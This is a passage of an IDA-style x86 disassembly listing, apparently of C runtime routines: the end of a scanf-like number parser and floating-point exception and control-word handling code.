		movsx	ebx, [ebp+var_18]
		shl	edx, cl
		mov	ecx, eax
		sar	ecx, 3
		movsx	ecx, [ebp+ecx+var_64]
		xor	ecx, ebx
		test	edx, ecx
		jz	short loc_420BD9
		cmp	[ebp+var_E], 0
		jnz	short loc_420BD1
		cmp	[ebp+var_16], 0
		jz	short loc_420BC6
		mov	ecx, off_43C9A8
		mov	[ebp+var_38], al
		movzx	eax, al
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420BA5
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		mov	[ebp+var_37], al


loc_420BA5:				; CODE XREF: sub_420510+686j
		push	dword_43CBB4
		lea	eax, [ebp+var_38]
		push	eax
		lea	eax, [ebp+var_3E]
		push	eax
		call	sub_423EC3
		mov	ax, [ebp+var_3E]
		add	esp, 0Ch
		mov	[esi], ax
		inc	esi
		inc	esi
		jmp	short loc_420BC9
; ---------------------------------------------------------------------------


loc_420BC6:				; CODE XREF: sub_420510+673j
		mov	[esi], al
		inc	esi


loc_420BC9:				; CODE XREF: sub_420510+6B4j
		mov	[ebp+var_2C], esi
		jmp	loc_420B35
; ---------------------------------------------------------------------------


loc_420BD1:				; CODE XREF: sub_420510+66Dj
		inc	[ebp+var_30]
		jmp	loc_420B35
; ---------------------------------------------------------------------------


loc_420BD9:				; CODE XREF: sub_420510+649j
					; sub_420510+667j
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420BE5:				; CODE XREF: sub_420510+633j
		cmp	[ebp+var_30], esi
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	loc_420E77
		inc	[ebp+var_34]
		cmp	[ebp+var_3C], 63h
		jz	loc_420E77
		cmp	[ebp+var_16], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420C17
		and	word ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420C17:				; CODE XREF: sub_420510+6FCj
		and	byte ptr [eax],	0
		jmp	loc_420E77
; ---------------------------------------------------------------------------


loc_420C1F:				; CODE XREF: sub_420510+466j
		mov	[ebp+var_D], 1


loc_420C23:				; CODE XREF: sub_420510+203j
					; sub_420510+215j ...
		mov	ebx, [ebp+var_14]
		cmp	ebx, 2Dh
		jnz	short loc_420C31
		mov	[ebp+var_17], 1
		jmp	short loc_420C36
; ---------------------------------------------------------------------------


loc_420C31:				; CODE XREF: sub_420510+719j
		cmp	ebx, 2Bh
		jnz	short loc_420C58


loc_420C36:				; CODE XREF: sub_420510+71Fj
		dec	[ebp+var_C]
		jnz	short loc_420C47
		cmp	[ebp+var_20], 0
		jz	short loc_420C47
		mov	[ebp+var_F], 1
		jmp	short loc_420C58
; ---------------------------------------------------------------------------


loc_420C47:				; CODE XREF: sub_420510+729j
					; sub_420510+72Fj
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		pop	ecx
		mov	ebx, eax


loc_420C55:				; CODE XREF: sub_420510+543j
		mov	[ebp+var_14], ebx


loc_420C58:				; CODE XREF: sub_420510+4FDj
					; sub_420510+52Dj ...
		cmp	[ebp+var_30], 0
		jz	loc_420D71
		cmp	[ebp+var_F], 0
		jnz	loc_420D4F


loc_420C6C:				; CODE XREF: sub_420510+82Cj
		cmp	esi, 78h
		jnz	short loc_420CC0
		cmp	dword_43CBB4, 1
		jle	short loc_420C89
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420C96
; ---------------------------------------------------------------------------


loc_420C89:				; CODE XREF: sub_420510+768j
		mov	eax, off_43C9A8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420C96:				; CODE XREF: sub_420510+777j
		test	eax, eax
		jz	loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	4
		pop	ecx
		call	sub_423F90
		push	ebx
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	short loc_420D13
; ---------------------------------------------------------------------------


loc_420CC0:				; CODE XREF: sub_420510+75Fj
		cmp	dword_43CBB4, 1
		jle	short loc_420CD5
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420CE0
; ---------------------------------------------------------------------------


loc_420CD5:				; CODE XREF: sub_420510+7B7j
		mov	eax, off_43C9A8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420CE0:				; CODE XREF: sub_420510+7C3j
		test	eax, eax
		jz	short loc_420D41
		cmp	esi, 6Fh
		jnz	short loc_420CFE
		cmp	ebx, 38h
		jge	short loc_420D41
		mov	eax, [ebp+var_28]
		mov	edx, [ebp+var_24]
		push	3
		pop	ecx
		call	sub_423F90
		jmp	short loc_420D0D
; ---------------------------------------------------------------------------


loc_420CFE:				; CODE XREF: sub_420510+7D7j
		push	0
		push	0Ah
		push	[ebp+var_24]
		push	[ebp+var_28]
		call	sub_41D280


loc_420D0D:				; CODE XREF: sub_420510+7ECj
		mov	[ebp+var_28], eax
		mov	[ebp+var_24], edx


loc_420D13:				; CODE XREF: sub_420510+7AEj
		inc	[ebp+var_1C]
		lea	eax, [ebx-30h]
		cdq
		add	[ebp+var_28], eax
		adc	[ebp+var_24], edx
		cmp	[ebp+var_20], 0
		jz	short loc_420D2B
		dec	[ebp+var_C]
		jz	short loc_420D4F


loc_420D2B:				; CODE XREF: sub_420510+814j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420C6C
; ---------------------------------------------------------------------------


loc_420D41:				; CODE XREF: sub_420510+788j
					; sub_420510+7D2j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420D4F:				; CODE XREF: sub_420510+756j
					; sub_420510+819j
		cmp	[ebp+var_17], 0
		jz	loc_420E35
		mov	eax, [ebp+var_28]
		mov	ecx, [ebp+var_24]
		neg	eax
		adc	ecx, 0
		mov	[ebp+var_28], eax
		neg	ecx
		mov	[ebp+var_24], ecx
		jmp	loc_420E35
; ---------------------------------------------------------------------------


loc_420D71:				; CODE XREF: sub_420510+74Cj
		cmp	[ebp+var_F], 0
		jnz	loc_420E2D


loc_420D7B:				; CODE XREF: sub_420510+90Aj
		cmp	esi, 78h
		jz	short loc_420DBF
		cmp	esi, 70h
		jz	short loc_420DBF
		cmp	dword_43CBB4, 1
		jle	short loc_420D9A
		push	4
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DA5
; ---------------------------------------------------------------------------


loc_420D9A:				; CODE XREF: sub_420510+87Cj
		mov	eax, off_43C9A8
		mov	al, [eax+ebx*2]
		and	eax, 4


loc_420DA5:				; CODE XREF: sub_420510+888j
		test	eax, eax
		jz	short loc_420E1F
		cmp	esi, 6Fh
		jnz	short loc_420DB8
		cmp	ebx, 38h
		jge	short loc_420E1F
		shl	edi, 3
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------


loc_420DB8:				; CODE XREF: sub_420510+89Cj
		lea	edi, [edi+edi*4]
		shl	edi, 1
		jmp	short loc_420DF7
; ---------------------------------------------------------------------------


loc_420DBF:				; CODE XREF: sub_420510+86Ej
					; sub_420510+873j
		cmp	dword_43CBB4, 1
		jle	short loc_420DD7
		push	80h
		push	ebx
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420DE4
; ---------------------------------------------------------------------------


loc_420DD7:				; CODE XREF: sub_420510+8B6j
		mov	eax, off_43C9A8
		mov	al, [eax+ebx*2]
		and	eax, 80h


loc_420DE4:				; CODE XREF: sub_420510+8C5j
		test	eax, eax
		jz	short loc_420E1F
		push	ebx
		shl	edi, 4
		call	sub_420F35
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx


loc_420DF7:				; CODE XREF: sub_420510+8A6j
					; sub_420510+8ADj
		inc	[ebp+var_1C]
		cmp	[ebp+var_20], 0
		lea	edi, [edi+ebx-30h]
		jz	short loc_420E09
		dec	[ebp+var_C]
		jz	short loc_420E2D


loc_420E09:				; CODE XREF: sub_420510+8F2j
		push	[ebp+arg_0]
		inc	[ebp+var_4]
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		mov	[ebp+var_14], ebx
		jmp	loc_420D7B
; ---------------------------------------------------------------------------


loc_420E1F:				; CODE XREF: sub_420510+897j
					; sub_420510+8A1j ...
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	ebx
		call	sub_420F86
		pop	ecx
		pop	ecx


loc_420E2D:				; CODE XREF: sub_420510+865j
					; sub_420510+8F7j
		cmp	[ebp+var_17], 0
		jz	short loc_420E35
		neg	edi


loc_420E35:				; CODE XREF: sub_420510+843j
					; sub_420510+85Cj ...
		cmp	esi, 46h
		jnz	short loc_420E3E
		and	[ebp+var_1C], 0


loc_420E3E:				; CODE XREF: sub_420510+928j
		cmp	[ebp+var_1C], 0
		jz	loc_420F16
		cmp	[ebp+var_E], 0
		jnz	short loc_420E77
		inc	[ebp+var_34]


loc_420E51:				; CODE XREF: sub_420510+23Bj
		cmp	[ebp+var_30], 0
		jz	short loc_420E67
		mov	eax, [ebp+var_2C]
		mov	ecx, [ebp+var_28]
		mov	[eax], ecx
		mov	ecx, [ebp+var_24]
		mov	[eax+4], ecx
		jmp	short loc_420E77
; ---------------------------------------------------------------------------


loc_420E67:				; CODE XREF: sub_420510+945j
		cmp	[ebp+var_D], 0
		mov	eax, [ebp+var_2C]
		jz	short loc_420E74
		mov	[eax], edi
		jmp	short loc_420E77
; ---------------------------------------------------------------------------


loc_420E74:				; CODE XREF: sub_420510+95Ej
		mov	[eax], di


loc_420E77:				; CODE XREF: sub_420510+241j
					; sub_420510+414j ...
		inc	[ebp+var_15]
		inc	[ebp+arg_4]
		mov	esi, [ebp+arg_4]
		jmp	short loc_420EC4
; ---------------------------------------------------------------------------


loc_420E82:				; CODE XREF: sub_420510+93j
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		mov	ebx, eax
		pop	ecx
		movzx	eax, byte ptr [esi]
		inc	esi
		cmp	eax, ebx
		mov	[ebp+var_14], ebx
		mov	[ebp+arg_4], esi
		jnz	short loc_420EF1
		mov	ecx, off_43C9A8
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_420EC4
		inc	[ebp+var_4]
		push	edi
		call	sub_420F6C
		pop	ecx
		movzx	ecx, byte ptr [esi]
		inc	esi
		cmp	ecx, eax
		mov	[ebp+arg_4], esi
		jnz	short loc_420EFF
		dec	[ebp+var_4]


loc_420EC4:				; CODE XREF: sub_420510+970j
					; sub_420510+99Aj
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420EDA
		cmp	byte ptr [esi],	25h
		jnz	short loc_420F1C
		mov	eax, [ebp+arg_4]
		cmp	byte ptr [eax+1], 6Eh
		jnz	short loc_420F1C
		mov	esi, eax


loc_420EDA:				; CODE XREF: sub_420510+9B8j
		mov	al, [esi]
		test	al, al
		jnz	loc_42053A
		jmp	short loc_420F16
; ---------------------------------------------------------------------------


loc_420EE6:				; CODE XREF: sub_420510+1F4j
					; sub_420510+491j
		push	[ebp+arg_0]
		dec	[ebp+var_4]
		push	[ebp+var_14]
		jmp	short loc_420EF6
; ---------------------------------------------------------------------------


loc_420EF1:				; CODE XREF: sub_420510+98Aj
		dec	[ebp+var_4]
		push	edi
		push	ebx


loc_420EF6:				; CODE XREF: sub_420510+9DFj
		call	sub_420F86
		pop	ecx
		pop	ecx
		jmp	short loc_420F16
; ---------------------------------------------------------------------------


loc_420EFF:				; CODE XREF: sub_420510+9AFj
		dec	[ebp+var_4]
		push	edi
		push	eax
		call	sub_420F86
		dec	[ebp+var_4]
		push	edi
		push	ebx
		call	sub_420F86
		add	esp, 10h


loc_420F16:				; CODE XREF: sub_420510+1Fj
					; sub_420510+40Aj ...
		cmp	[ebp+var_14], 0FFFFFFFFh
		jnz	short loc_420F2D


loc_420F1C:				; CODE XREF: sub_420510+9BDj
					; sub_420510+9C6j
		mov	eax, [ebp+var_34]
		test	eax, eax
		jnz	short loc_420F30
		cmp	[ebp+var_15], al
		jnz	short loc_420F30
		or	eax, 0FFFFFFFFh
		jmp	short loc_420F30
; ---------------------------------------------------------------------------


loc_420F2D:				; CODE XREF: sub_420510+A0Aj
		mov	eax, [ebp+var_34]


loc_420F30:				; CODE XREF: sub_420510+A11j
					; sub_420510+A16j ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_420510	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F35	proc near		; CODE XREF: sub_420510+7A3p
					; sub_420510+8DCp

arg_0		= dword	ptr  4

		cmp	dword_43CBB4, 1
		push	esi
		jle	short loc_420F4F
		mov	esi, [esp+4+arg_0]
		push	4
		push	esi
		call	sub_41F515
		pop	ecx
		pop	ecx
		jmp	short loc_420F5E
; ---------------------------------------------------------------------------


loc_420F4F:				; CODE XREF: sub_420F35+8j
		mov	esi, [esp+4+arg_0]
		mov	eax, off_43C9A8
		mov	al, [eax+esi*2]
		and	eax, 4


loc_420F5E:				; CODE XREF: sub_420F35+18j
		test	eax, eax
		jnz	short loc_420F68
		and	esi, 0FFFFFFDFh
		sub	esi, 7


loc_420F68:				; CODE XREF: sub_420F35+2Bj
		mov	eax, esi
		pop	esi
		retn
sub_420F35	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F6C	proc near		; CODE XREF: sub_420510+1E1p
					; sub_420510+289p ...

arg_0		= dword	ptr  4

		mov	edx, [esp+arg_0]
		dec	dword ptr [edx+4]
		js	short loc_420F7E
		mov	ecx, [edx]
		movzx	eax, byte ptr [ecx]
		inc	ecx
		mov	[edx], ecx
		retn
; ---------------------------------------------------------------------------


loc_420F7E:				; CODE XREF: sub_420F6C+7j
		push	edx
		call	sub_41F043
		pop	ecx
		retn
sub_420F6C	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F86	proc near		; CODE XREF: sub_420510+6Bp
					; sub_420510+3FFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFFFh
		jz	short locret_420F9C
		push	[esp+arg_4]
		push	[esp+4+arg_0]
		call	sub_423FAF
		pop	ecx
		pop	ecx

locret_420F9C:				; CODE XREF: sub_420F86+5j
		retn
sub_420F86	endp


; =============== S U B	R O U T	I N E =======================================



sub_420F9D	proc near		; CODE XREF: sub_420510+63p
					; sub_420510+1D3p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi


loc_420FA3:				; CODE XREF: sub_420F9D+1Dj
		push	[esp+8+arg_4]
		inc	dword ptr [esi]
		call	sub_420F6C
		mov	edi, eax
		push	edi
		call	sub_41D670
		pop	ecx
		test	eax, eax
		pop	ecx
		jnz	short loc_420FA3
		mov	eax, edi
		pop	edi
		pop	esi
		retn
sub_420F9D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __fastcall sub_420FC1(int,int,double,int)

sub_420FC1	proc near		; CODE XREF: sub_41C679+51p
					; sub_41C7BF+51p

var_1C		= qword	ptr -1Ch
var_14		= qword	ptr -14h
var_C		= qword	ptr -0Ch
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		cmp	dword_43D320, 0
		jnz	short loc_420FF6
		push	[ebp+arg_C]	; int
		fld	qword ptr [ebp+arg_4]
		push	ecx
		push	ecx		; double
		fstp	[esp+0Ch+var_C]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+14h+var_14]
		fld	qword ptr [ebp+arg_4]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+1Ch+var_1C]
		push	[ebp+arg_0]	; int
		push	1		; int
		call	sub_421576
		add	esp, 24h
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_420FF6:				; CODE XREF: sub_420FC1+Aj
		push	0FFFFh
		mov	dword_4DB928, 21h
		push	[ebp+arg_C]
		call	sub_4217E9
		fld	qword ptr [ebp+arg_4]
		pop	ecx
		pop	ecx
		pop	ebp
		retn
sub_420FC1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame

; int __cdecl sub_421014(int,int,double,double,int)

sub_421014	proc near		; CODE XREF: sub_41C679:loc_41C73Cp
					; sub_41C7BF:loc_41C882p

var_74		= qword	ptr -74h
var_6C		= qword	ptr -6Ch
var_64		= qword	ptr -64h
var_5C		= dword	ptr -5Ch
var_58		= byte ptr -58h
var_20		= dword	ptr -20h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= qword	ptr  10h
arg_10		= qword	ptr  18h
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		sub	esp, 58h
		push	[ebp+arg_18]
		lea	eax, [ebp+arg_10]
		push	eax
		push	[ebp+arg_0]
		call	sub_42135F
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_421052
		lea	eax, [ebp+arg_10]
		and	[ebp+var_20], 0FFFFFFFEh
		push	eax
		lea	eax, [ebp+arg_8]
		push	eax
		lea	eax, [ebp+arg_18]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_58]
		push	eax
		call	sub_4210AC
		add	esp, 18h


loc_421052:				; CODE XREF: sub_421014+1Aj
		push	[ebp+arg_0]
		call	sub_421649
		cmp	dword_43D320, 0
		pop	ecx
		jnz	short loc_421090
		test	eax, eax
		jz	short loc_421090
		push	[ebp+arg_18]	; int
		fld	[ebp+arg_10]
		push	ecx
		push	ecx		; double
		fstp	[esp+64h+var_64]
		push	ecx		; int
		push	ecx		; int
		fldz
		fstp	[esp+6Ch+var_6C]
		fld	[ebp+arg_8]
		push	ecx		; int
		push	ecx		; int
		fstp	[esp+74h+var_74]
		push	[ebp+arg_4]	; int
		push	eax		; int
		call	sub_421576
		add	esp, 24h
		leave
		retn
; ---------------------------------------------------------------------------


loc_421090:				; CODE XREF: sub_421014+4Ej
					; sub_421014+52j
		push	eax
		call	sub_4215FE
		mov	[esp+5Ch+var_5C], 0FFFFh
		push	[ebp+arg_18]
		call	sub_4217E9
		fld	[ebp+arg_10]
		pop	ecx
		pop	ecx
		leave
		retn
sub_421014	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4210AC	proc near		; CODE XREF: sub_421014+36p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch

		push	ebp
		mov	ebp, esp
		mov	ecx, [ebp+arg_0]
		xor	eax, eax
		push	ebx
		push	esi
		mov	[ecx+4], eax
		mov	ecx, [ebp+arg_0]
		push	edi
		push	1
		mov	[ecx+8], eax
		mov	ecx, [ebp+arg_0]
		pop	ebx
		mov	[ecx+0Ch], eax
		mov	cl, byte ptr [ebp+arg_8]
		test	cl, 10h
		jz	short loc_4210DE
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Fh
		or	[eax+4], ebx


loc_4210DE:				; CODE XREF: sub_4210AC+23j
		test	cl, 2
		jz	short loc_4210F1
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000093h
		or	dword ptr [eax+4], 2


loc_4210F1:				; CODE XREF: sub_4210AC+35j
		test	cl, bl
		jz	short loc_421103
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000091h
		or	dword ptr [eax+4], 4


loc_421103:				; CODE XREF: sub_4210AC+47j
		test	cl, 4
		jz	short loc_421116
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C000008Eh
		or	dword ptr [eax+4], 8


loc_421116:				; CODE XREF: sub_4210AC+5Aj
		test	cl, 8
		jz	short loc_421129
		mov	eax, [ebp+arg_0]
		mov	[ebp+arg_8], 0C0000090h
		or	dword ptr [eax+4], 10h


loc_421129:				; CODE XREF: sub_4210AC+6Dj
		mov	esi, [ebp+arg_4]
		mov	eax, [ebp+arg_0]
		push	2
		mov	ecx, [esi]
		mov	edx, [eax+8]
		not	ecx
		and	ecx, ebx
		and	edx, 0FFFFFFEFh
		shl	ecx, 4
		or	ecx, edx
		pop	edi
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		and	ecx, 4
		shl	ecx, 1
		and	edx, 0FFFFFFF7h
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 1
		and	ecx, 4
		and	edx, 0FFFFFFFBh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 3
		and	ecx, edi
		and	edx, 0FFFFFFFDh
		or	ecx, edx
		mov	[eax+8], ecx
		mov	ecx, [esi]
		mov	eax, [ebp+arg_0]
		not	ecx
		mov	edx, [eax+8]
		shr	ecx, 5
		and	ecx, ebx
		and	edx, 0FFFFFFFEh
		or	ecx, edx
		mov	[eax+8], ecx
		call	sub_4217CC
		test	al, bl
		jz	short loc_4211B2
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 10h


loc_4211B2:				; CODE XREF: sub_4210AC+FDj
		test	al, 4
		jz	short loc_4211BD
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 8


loc_4211BD:				; CODE XREF: sub_4210AC+108j
		test	al, 8
		jz	short loc_4211C8
		mov	ecx, [ebp+arg_0]
		or	dword ptr [ecx+0Ch], 4


loc_4211C8:				; CODE XREF: sub_4210AC+113j
		test	al, 10h
		jz	short loc_4211D2
		mov	ecx, [ebp+arg_0]
		or	[ecx+0Ch], edi


loc_4211D2:				; CODE XREF: sub_4210AC+11Ej
		test	al, 20h
		jz	short loc_4211DC
		mov	eax, [ebp+arg_0]
		or	[eax+0Ch], ebx


loc_4211DC:				; CODE XREF: sub_4210AC+128j
		mov	eax, [esi]
		mov	ecx, 0C00h
		and	eax, ecx
		jz	short loc_42121B
		cmp	eax, 400h
		jz	short loc_42120D
		cmp	eax, 800h
		jz	short loc_421201
		cmp	eax, ecx
		jnz	short loc_421221
		mov	eax, [ebp+arg_0]
		or	dword ptr [eax], 3
		jmp	short loc_421221
; ---------------------------------------------------------------------------


loc_421201:				; CODE XREF: sub_4210AC+147j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFEh
		or	ecx, edi
		jmp	short loc_421217
; ---------------------------------------------------------------------------


loc_42120D:				; CODE XREF: sub_4210AC+140j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFFDh
		or	ecx, ebx


loc_421217:				; CODE XREF: sub_4210AC+15Fj
		mov	[eax], ecx
		jmp	short loc_421221
; ---------------------------------------------------------------------------


loc_42121B:				; CODE XREF: sub_4210AC+139j
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFFCh


loc_421221:				; CODE XREF: sub_4210AC+14Bj
					; sub_4210AC+153j ...
		mov	eax, [esi]
		mov	ecx, 300h
		and	eax, ecx
		jz	short loc_42124C
		cmp	eax, 200h
		jz	short loc_42123F
		cmp	eax, ecx
		jnz	short loc_421259
		mov	eax, [ebp+arg_0]
		and	dword ptr [eax], 0FFFFFFE3h
		jmp	short loc_421259
; ---------------------------------------------------------------------------


loc_42123F:				; CODE XREF: sub_4210AC+185j
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFE7h
		or	ecx, 4
		jmp	short loc_421257
; ---------------------------------------------------------------------------


loc_42124C:				; CODE XREF: sub_4210AC+17Ej
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax]
		and	ecx, 0FFFFFFEBh
		or	ecx, 8


loc_421257:				; CODE XREF: sub_4210AC+19Ej
		mov	[eax], ecx


loc_421259:				; CODE XREF: sub_4210AC+189j
					; sub_4210AC+191j
		mov	eax, [ebp+arg_0]
		mov	ecx, [ebp+arg_C]
		and	ecx, 0FFFh
		mov	edx, [eax]
		shl	ecx, 5
		and	edx, 0FFFE001Fh
		or	ecx, edx
		mov	[eax], ecx
		mov	eax, [ebp+arg_0]
		or	[eax+20h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+20h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	[eax+20h], ecx
		mov	eax, [ebp+arg_10]
		fld	qword ptr [eax]
		mov	eax, [ebp+arg_0]
		fstp	qword ptr [eax+10h]
		mov	eax, [ebp+arg_0]
		or	[eax+50h], ebx
		mov	eax, [ebp+arg_0]
		mov	ecx, [eax+50h]
		and	ecx, 0FFFFFFE3h
		or	ecx, edi
		mov	edi, [ebp+arg_14]
		mov	[eax+50h], ecx
		mov	eax, [ebp+arg_0]
		fld	qword ptr [edi]
		fstp	qword ptr [eax+40h]
		call	sub_4217DA
		lea	eax, [ebp+arg_0]
		push	eax
		push	ebx
		push	0
		push	[ebp+arg_8]
		nop
		call	near ptr 265044Bh
		mov	eax, [ebp+arg_0]
		test	byte ptr [eax+8], 10h
		jz	short loc_4212D3
		and	dword ptr [esi], 0FFFFFFFEh


loc_4212D3:				; CODE XREF: sub_4210AC+222j
		test	byte ptr [eax+8], 8
		jz	short loc_4212DC
		and	dword ptr [esi], 0FFFFFFFBh


loc_4212DC:				; CODE XREF: sub_4210AC+22Bj
		test	byte ptr [eax+8], 4
		jz	short loc_4212E5
		and	dword ptr [esi], 0FFFFFFF7h


loc_4212E5:				; CODE XREF: sub_4210AC+234j
		test	byte ptr [eax+8], 2
		jz	short loc_4212EE
		and	dword ptr [esi], 0FFFFFFEFh


loc_4212EE:				; CODE XREF: sub_4210AC+23Dj
		test	[eax+8], bl
		jz	short loc_4212F6
		and	dword ptr [esi], 0FFFFFFDFh


loc_4212F6:				; CODE XREF: sub_4210AC+245j
		mov	ecx, [eax]
		mov	edx, 0FFFFF3FFh
		and	ecx, 3
		sub	ecx, 0
		jz	short loc_42132A
		dec	ecx
		jz	short loc_42131E
		dec	ecx
		jz	short loc_421314
		dec	ecx
		jnz	short loc_42132C
		or	byte ptr [esi+1], 0Ch
		jmp	short loc_42132C
; ---------------------------------------------------------------------------


loc_421314:				; CODE XREF: sub_4210AC+25Dj
		mov	ecx, [esi]
		and	ch, 0FBh
		or	ch, 8
		jmp	short loc_421326
; ---------------------------------------------------------------------------


loc_42131E:				; CODE XREF: sub_4210AC+25Aj
		mov	ecx, [esi]
		and	ch, 0F7h
		or	ch, 4


loc_421326:				; CODE XREF: sub_4210AC+270j
		mov	[esi], ecx
		jmp	short loc_42132C
; ---------------------------------------------------------------------------


loc_42132A:				; CODE XREF: sub_4210AC+257j
		and	[esi], edx


loc_42132C:				; CODE XREF: sub_4210AC+260j
					; sub_4210AC+266j ...
		mov	ecx, [eax]
		shr	ecx, 2
		and	ecx, 7
		sub	ecx, 0
		jz	short loc_42134C
		dec	ecx
		jz	short loc_421343
		dec	ecx
		jnz	short loc_421355
		and	[esi], edx
		jmp	short loc_421355
; ---------------------------------------------------------------------------


loc_421343:				; CODE XREF: sub_4210AC+28Ej
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 2
		jmp	short loc_421353
; ---------------------------------------------------------------------------


loc_42134C:				; CODE XREF: sub_4210AC+28Bj
		mov	ecx, [esi]
		and	ecx, edx
		or	ch, 3


loc_421353:				; CODE XREF: sub_4210AC+29Ej
		mov	[esi], ecx


loc_421355:				; CODE XREF: sub_4210AC+291j
					; sub_4210AC+295j
		fld	qword ptr [eax+40h]
		fstp	qword ptr [edi]
		pop	edi
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_4210AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42135F	proc near		; CODE XREF: sub_421014+10p

var_24		= qword	ptr -24h
var_C		= qword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 0Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	edi
		mov	edi, eax
		and	edi, 1Fh
		push	1
		test	al, 8
		pop	ebx
		jz	short loc_42138A
		test	byte ptr [ebp+arg_8], bl
		jz	short loc_42138A
		push	ebx
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFF7h
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_42138A:				; CODE XREF: sub_42135F+15j
					; sub_42135F+1Aj
		test	al, 4
		jz	short loc_4213A4
		test	byte ptr [ebp+arg_8], 4
		jz	short loc_4213A4
		push	4
		call	sub_42180C
		pop	ecx
		and	edi, 0FFFFFFFBh
		jmp	loc_421554
; ---------------------------------------------------------------------------


loc_4213A4:				; CODE XREF: sub_42135F+2Dj
					; sub_42135F+33j
		test	al, bl
		jz	loc_42147E
		test	byte ptr [ebp+arg_8], 8
		jz	loc_42147E
		push	8
		call	sub_42180C
		pop	ecx
		mov	eax, 0C00h
		mov	ecx, [ebp+arg_8]
		and	ecx, eax
		jz	loc_421456
		cmp	ecx, 400h
		jz	short loc_42142E
		cmp	ecx, 800h
		jz	short loc_421406
		cmp	ecx, eax
		jnz	loc_421476
		mov	ecx, [ebp+arg_4]
		fld	qword ptr [ecx]
		fcomp	dbl_427880
		fld	dbl_43CF20
		fnstsw	ax
		sahf
